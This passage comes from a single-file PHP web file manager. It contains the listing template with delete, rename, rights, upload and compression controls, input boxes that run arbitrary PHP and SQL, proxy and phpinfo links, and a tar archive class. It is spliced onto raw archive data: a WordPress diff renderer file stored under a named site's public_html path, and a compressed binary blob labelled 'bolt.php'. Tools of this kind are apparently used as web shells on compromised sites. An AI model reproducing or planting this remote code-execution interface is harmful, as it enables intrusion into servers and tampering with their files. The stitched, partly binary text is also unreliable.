				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
